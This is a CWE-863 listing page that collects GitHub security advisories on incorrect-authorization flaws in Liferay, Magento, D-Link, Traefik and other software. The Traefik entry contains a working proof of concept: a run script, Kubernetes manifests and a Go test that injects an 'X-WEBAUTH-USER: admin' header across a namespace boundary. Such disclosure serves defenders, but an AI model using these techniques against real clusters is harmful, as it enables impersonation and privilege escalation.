Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7172 vulnerabilities reference this CWE, most recent first.

GHSA-QPGH-6V9W-VFV6

Vulnerability from github – Published: 2024-02-20 09:30 – Updated: 2025-07-29 12:29
VLAI
Summary
Liferay Portal and Liferay DXP Does Not Properly Restrict Membership to Child Site Based on Parent Site Options
Details

Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions does not properly restrict membership of a child site when the "Limit membership to members of the parent site" option is enabled, which allows remote authenticated users to add users who are not a member of the parent site to a child site. The added user may obtain permission to perform unauthorized actions in the child site.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.portal.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.0"
            },
            {
              "fixed": "7.4.2-ga3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.10.fp15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-29T12:29:08Z",
    "nvd_published_at": "2024-02-20T07:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions does not properly restrict membership of a child site when the \"Limit membership to members of the parent site\" option is enabled, which allows remote authenticated users to add users who are not a member of the parent site to a child site. The added user may obtain permission to perform unauthorized actions in the child site.",
  "id": "GHSA-qpgh-6v9w-vfv6",
  "modified": "2025-07-29T12:29:08Z",
  "published": "2024-02-20T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/liferay/liferay-portal/commit/dfd287acb325e2cddced3910e3baba1d258509de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2024-25149"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Liferay Portal and Liferay DXP Does Not Properly Restrict Membership to Child Site Based on Parent Site Options"
}

GHSA-QPP7-742Q-58J3

Vulnerability from github – Published: 2024-10-10 12:31 – Updated: 2024-10-11 18:27
VLAI
Summary
Magento Open Source Improper Authorization vulnerability
Details

Magento Open Source versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and have a low impact on integrity and availability. Exploitation of this issue does not require user interaction.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.7-beta1"
            },
            {
              "fixed": "2.4.7-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.6-p1"
            },
            {
              "fixed": "2.4.6-p8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5-p1"
            },
            {
              "fixed": "2.4.5-p10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4-p11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.7"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-11T18:27:17Z",
    "nvd_published_at": "2024-10-10T10:15:06Z",
    "severity": "MODERATE"
  },
  "details": "Magento Open Source versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and have a low impact on integrity and availability. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-qpp7-742q-58j3",
  "modified": "2024-10-11T18:27:17Z",
  "published": "2024-10-10T12:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45128"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb24-73.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Magento Open Source Improper Authorization vulnerability"
}

GHSA-QPQ2-F23H-CRQ4

Vulnerability from github – Published: 2025-01-16 21:30 – Updated: 2025-02-03 21:31
VLAI
Details

An access control issue in the component form2PortriggerRule.cgi of D-Link 816A2_FWv1.10CNB05_R1B011D88210 allows unauthenticated attackers to set the port trigger of the device via a crafted POST request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-57680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-16T19:15:29Z",
    "severity": "MODERATE"
  },
  "details": "An access control issue in the component form2PortriggerRule.cgi of D-Link 816A2_FWv1.10CNB05_R1B011D88210 allows unauthenticated attackers to set the port trigger of the device via a crafted POST request.",
  "id": "GHSA-qpq2-f23h-crq4",
  "modified": "2025-02-03T21:31:49Z",
  "published": "2025-01-16T21:30:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57680"
    },
    {
      "type": "WEB",
      "url": "https://github.com/abcdefg-png/IoT-vulnerable/blob/main/Unauthorized_Vulnerability/D-Link/DIR-816/form2PortriggerRule.md"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QPQM-X4VH-JM23

Vulnerability from github – Published: 2026-09-24 12:31 – Updated: 2026-09-24 18:31
VLAI
Details

A missing authorization vulnerability exists in the Task Group APIs of Apache DolphinScheduler. The affected APIs do not properly verify whether the authenticated user has permission to access the project associated with the target Task Group.

This issue affects Apache DolphinScheduler: before 3.4.3.

Users are recommended to upgrade to version 3.4.3, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-24T10:17:38Z",
    "severity": "HIGH"
  },
  "details": "A missing authorization vulnerability exists in the Task Group APIs of Apache DolphinScheduler. The affected APIs do not properly verify whether the authenticated user has permission to access the project associated with the target Task Group.\n\n\n\nThis issue affects Apache DolphinScheduler: before 3.4.3.\n\n\n\nUsers are recommended to upgrade to version 3.4.3, which fixes the issue.",
  "id": "GHSA-qpqm-x4vh-jm23",
  "modified": "2026-09-24T18:31:17Z",
  "published": "2026-09-24T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57590"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/3ncvptkjw9h6s8mjxlwwo30bxxgol6ry"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/24/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QPVH-MQ7H-9X9H

Vulnerability from github – Published: 2026-10-10 06:30 – Updated: 2026-10-10 12:30
VLAI
Details

The Portfolio Filter Gallery WordPress plugin before 2.2.1 does not perform proper authorization checks in a set of AJAX actions, allowing users with at least the Contributor role to read, modify and delete other users' galleries as well as site-wide gallery filters.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-105976"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-10T06:16:40Z",
    "severity": "MODERATE"
  },
  "details": "The Portfolio Filter Gallery  WordPress plugin before 2.2.1 does not perform proper authorization checks in a set of AJAX actions, allowing users with at least the Contributor role to read, modify and delete other users\u0027 galleries as well as site-wide gallery filters.",
  "id": "GHSA-qpvh-mq7h-9x9h",
  "modified": "2026-10-10T12:30:24Z",
  "published": "2026-10-10T06:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105976"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/1ad36801-d53b-4253-ab7a-bd91c0f144f3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QQ36-2M78-GHVJ

Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44
VLAI
Details

LDAP authentication in SAP HANA Database version 2.0 can be bypassed if the attached LDAP directory server is configured to enable unauthenticated bind.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-21484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-09T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "LDAP authentication in SAP HANA Database version 2.0 can be bypassed if the attached LDAP directory server is configured to enable unauthenticated bind.",
  "id": "GHSA-qq36-2m78-ghvj",
  "modified": "2022-05-24T17:44:00Z",
  "published": "2022-05-24T17:44:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21484"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3017378"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=571343107"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QQ38-MXPQ-RRPJ

Vulnerability from github – Published: 2022-05-24 17:23 – Updated: 2022-12-28 23:44
VLAI
Summary
Improper authorization of users and groups with the same base name in Jenkins GitLab Authentication Plugin
Details

GitLab Authentication Plugin 1.5 and earlier does not differentiate between user names and hierarchical group names when performing authorization. This allows an attacker with permissions to create groups in GitLab to gain the privileges granted to another user or group.

GitLab Authentication Plugin 1.6 performs user name and group name authorization checks using the appropriate GitLab APIs.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:gitlab-oauth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-2228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-28T23:44:46Z",
    "nvd_published_at": "2020-07-15T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "GitLab Authentication Plugin 1.5 and earlier does not differentiate between user names and hierarchical group names when performing authorization. This allows an attacker with permissions to create groups in GitLab to gain the privileges granted to another user or group.\n\nGitLab Authentication Plugin 1.6 performs user name and group name authorization checks using the appropriate GitLab APIs.",
  "id": "GHSA-qq38-mxpq-rrpj",
  "modified": "2022-12-28T23:44:46Z",
  "published": "2022-05-24T17:23:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/gitlab-oauth-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2020-07-15/#SECURITY-1792"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/07/15/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper authorization of users and groups with the same base name in Jenkins GitLab Authentication Plugin"
}

GHSA-QQ53-28V3-C4VM

Vulnerability from github – Published: 2024-02-16 21:31 – Updated: 2024-11-04 21:30
VLAI
Details

In shouldUseNoOpLocation of CameraActivity.java, there is a possible confused deputy due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-0017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-16T20:15:47Z",
    "severity": "MODERATE"
  },
  "details": "In shouldUseNoOpLocation of CameraActivity.java, there is a possible confused deputy due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-qq53-28v3-c4vm",
  "modified": "2024-11-04T21:30:25Z",
  "published": "2024-02-16T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0017"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/apps/Camera2/+/5c4c4b35754eef319dcd69c422f0b1ac0c823f6e"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2024-01-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QQ8Q-67X7-25JM

Vulnerability from github – Published: 2023-05-15 12:30 – Updated: 2026-06-01 15:30
VLAI
Details

Improper Access Control in SICK FTMg AIR FLOW SENSOR with Partnumbers 1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows an unprivileged remote attacker to download files by using a therefore unpriviledged account via the REST interface.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-15T11:15:09Z",
    "severity": "HIGH"
  },
  "details": "Improper Access Control in SICK FTMg AIR FLOW SENSOR with Partnumbers\n1100214, 1100215, 1100216, 1120114, 1120116, 1122524, 1122526 allows an unprivileged remote attacker to download files by using a therefore unpriviledged account via the REST interface.",
  "id": "GHSA-qq8q-67x7-25jm",
  "modified": "2026-06-01T15:30:31Z",
  "published": "2023-05-15T12:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23446"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.json"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0004.pdf"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QQ9Q-X9W4-CHHJ

Vulnerability from github – Published: 2026-08-05 21:49 – Updated: 2026-08-05 21:49
VLAI
Summary
Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion
Details

Summary

There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's Kubernetes Gateway API provider resolves `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state. ## Description Gateway API `ReferenceGrant` allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a `Service`. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace. In the affected code path, Traefik copies `backendRef.namespace` into a local `namespace` variable. It correctly uses that namespace to validate and load the backend `Service`, but then reuses the same namespace when resolving `backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension filters, the CRD provider turns `(namespace, name)` into a dynamic middleware reference such as:
platform-privileged-auth-header@kubernetescrd
As a result, a tenant route in `tenant-a` can bind a middleware named `privileged-auth-header` from the backend namespace `platform`, even though the Gateway API `ReferenceGrant` only granted access to `platform/protected-api` `Service`. ## Impact The PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to attach a backend-namespace `Headers` middleware to the generated backend service. The middleware injects:
X-WEBAUTH-USER: admin
That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication. This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary. ## Proof Of Concept ### Files run.sh
#!/usr/bin/env sh
set -eu

TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"

if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
    trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi

printf '[*] target_ref=%s\n' "$TARGET_REF"
printf '[*] workdir=%s\n' "$WORKDIR"

if [ -n "${TRAEFIK_SRC:-}" ]; then
    printf '[*] cloning from local source: %s\n' "$TRAEFIK_SRC"
    git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
    git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
    printf '[*] cloning from remote: %s\n' "$REPO_URL"
    git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
    cd "$WORKDIR/traefik"
fi

mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute
cp "$SCRIPT_DIR/poc_gateway_extensionref_test.go" \
    pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
cp "$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml" \
    pkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml

if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then
    sed -i \
        -e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \
        -e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \
        pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
fi

printf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n'
go test ./pkg/provider/kubernetes/gateway \
    -run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \
    -count=1 -v

printf 'POC_RESULT=PASS\n'
backendref_extension_filter_cross_namespace_poc.yml
---
apiVersion: v1
kind: Service
metadata:
  name: protected-api
  namespace: platform
spec:
  ports:
    - name: web
      protocol: TCP
      port: 80
      targetPort: web

---
kind: EndpointSlice
apiVersion: discovery.k8s.io/v1
metadata:
  name: protected-api-abc
  namespace: platform
  labels:
    kubernetes.io/service-name: protected-api
addressType: IPv4
ports:
  - name: web
    port: 8080
endpoints:
  - addresses:
      - 10.10.20.10
    conditions:
      ready: true

---
kind: GatewayClass
apiVersion: gateway.networking.k8s.io/v1
metadata:
  name: shared-gateway-class
spec:
  controllerName: traefik.io/gateway-controller

---
kind: Gateway
apiVersion: gateway.networking.k8s.io/v1
metadata:
  name: shared-gateway
  namespace: infra
spec:
  gatewayClassName: shared-gateway-class
  listeners:
    - name: http
      protocol: HTTP
      port: 80
      allowedRoutes:
        kinds:
          - kind: HTTPRoute
            group: gateway.networking.k8s.io
        namespaces:
          from: All

---
kind: ReferenceGrant
apiVersion: gateway.networking.k8s.io/v1beta1
metadata:
  name: allow-tenant-route-to-service
  namespace: platform
spec:
  from:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      namespace: tenant-a
  to:
    - group: ""
      kind: Service
      name: protected-api

---
kind: HTTPRoute
apiVersion: gateway.networking.k8s.io/v1
metadata:
  name: tenant-route
  namespace: tenant-a
spec:
  parentRefs:
    - name: shared-gateway
      namespace: infra
      kind: Gateway
      group: gateway.networking.k8s.io
  hostnames:
    - attacker.example
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /
      backendRefs:
        - name: protected-api
          namespace: platform
          port: 80
          kind: Service
          group: ""
          filters:
            - type: ExtensionRef
              extensionRef:
                group: traefik.io
                kind: Middleware
                name: privileged-auth-header
poc_gateway_extensionref_test.go
package gateway

import (
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
    "github.com/traefik/traefik/v3/pkg/config/dynamic"
    "github.com/traefik/traefik/v3/pkg/middlewares/headers"
    traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1"
    kubefake "k8s.io/client-go/kubernetes/fake"
)

func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {
    k8sObjects, gwObjects := readResources(t, []string{"httproute/backendref_extension_filter_cross_namespace_poc.yml"})

    kubeClient := kubefake.NewClientset(k8sObjects...)
    gwClient := newGatewaySimpleClientSet(t, gwObjects...)

    client := newClientImpl(kubeClient, gwClient)
    eventCh, err := client.WatchAll(nil, make(chan struct{}))
    require.NoError(t, err)
    if len(k8sObjects) > 0 || len(gwObjects) > 0 {
        <-eventCh
    }

    var resolvedRefs []string
    p := Provider{
        EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}},
        client:      client,
    }

    p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
        resolvedRefs = append(resolvedRefs, namespace+"/"+name)
        return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{
            Headers: &dynamic.Headers{
                CustomRequestHeaders: map[string]string{
                    "X-WEBAUTH-USER": "admin",
                },
            },
        }, nil
    })

    conf := p.loadConfigurationFromGateways(t.Context())
    require.NotNil(t, conf)

    var serviceConfig *dynamic.Service
    for _, service := range conf.HTTP.Services {
        for _, middlewareRef := range service.Middlewares {
            if middlewareRef == "platform-privileged-auth-header@kubernetescrd" {
                serviceConfig = service
            }
        }
    }

    require.Contains(t, resolvedRefs, "platform/privileged-auth-header")
    require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd")
    require.NotNil(t, serviceConfig)
    require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd")

    seenUser := make(chan string, 1)
    backend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
        seenUser <- req.Header.Get("X-WEBAUTH-USER")
        rw.WriteHeader(http.StatusOK)
    })

    handler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers)
    require.NoError(t, err)

    recorder := httptest.NewRecorder()
    handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil))

    assert.Equal(t, http.StatusOK, recorder.Code)
    assert.Equal(t, "admin", <-seenUser)
    t.Logf("POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q",
        "platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin")
}
### Requirements - `git` - Go toolchain compatible with the target Traefik tag. `v3.7.5` uses `go 1.25.0`. - Network access to clone `https://github.com/traefik/traefik.git` and download Go modules on first run. No local Traefik checkout or Kubernetes cluster is required by default. ### Run
./run.sh
Optional target override:
TARGET_REF=v3.7.0 ./run.sh
Optional local-source override for faster validation:
TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh
### Expected Result The run should end with:
POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injected_header="X-WEBAUTH-USER: admin"
POC_RESULT=PASS
## Root Cause Line numbers below are from:
repository: https://github.com/traefik/traefik
tag:        v3.7.5
commit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0
### 1. Route-level filters use the route namespace `pkg/provider/kubernetes/gateway/httproute.go:143-144`
// TODO loadMiddlewares errors could change the condition.
router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)
For filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters relative to `route.Namespace`. This matches the Gateway API `LocalObjectReference` model. ### 2. BackendRef namespace overwrites the route namespace `pkg/provider/kubernetes/gateway/httproute.go:240-243`
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
    namespace = string(*backendRef.Namespace)
For a cross-namespace backend Service, `namespace` becomes the backend namespace, for example `platform`. ### 3. ReferenceGrant checks only the backend object `pkg/provider/kubernetes/gateway/httproute.go:258-266`
if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {
    return serviceName, &metav1.Condition{
        Type:               string(gatev1.RouteConditionResolvedRefs),
        Status:             metav1.ConditionFalse,
        ObservedGeneration: route.Generation,
        LastTransitionTime: metav1.Now(),
        Reason:             string(gatev1.RouteReasonRefNotPermitted),
This validates permission to reference the backend object, such as `platform/protected-api` `Service`. ### 4. The backend namespace is reused for backendRef filters `pkg/provider/kubernetes/gateway/httproute.go:269-277`
middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)
if err != nil {
    return serviceName, &metav1.Condition{
        Type:               string(gatev1.RouteConditionResolvedRefs),
        Status:             metav1.ConditionFalse,
        ObservedGeneration: route.Generation,
        LastTransitionTime: metav1.Now(),
The same `namespace` variable now points to the backend namespace. Therefore an `ExtensionRef` inside `backendRef.filters[]` is resolved as `platform/` instead of `tenant-a/`. ### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider `pkg/provider/kubernetes/crd/kubernetes.go:169-175`
registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, *dynamic.Middleware, error) {
    if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) {
        return "", nil, fmt.Errorf("namespace %q is not allowed", namespace)
    }

    return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil
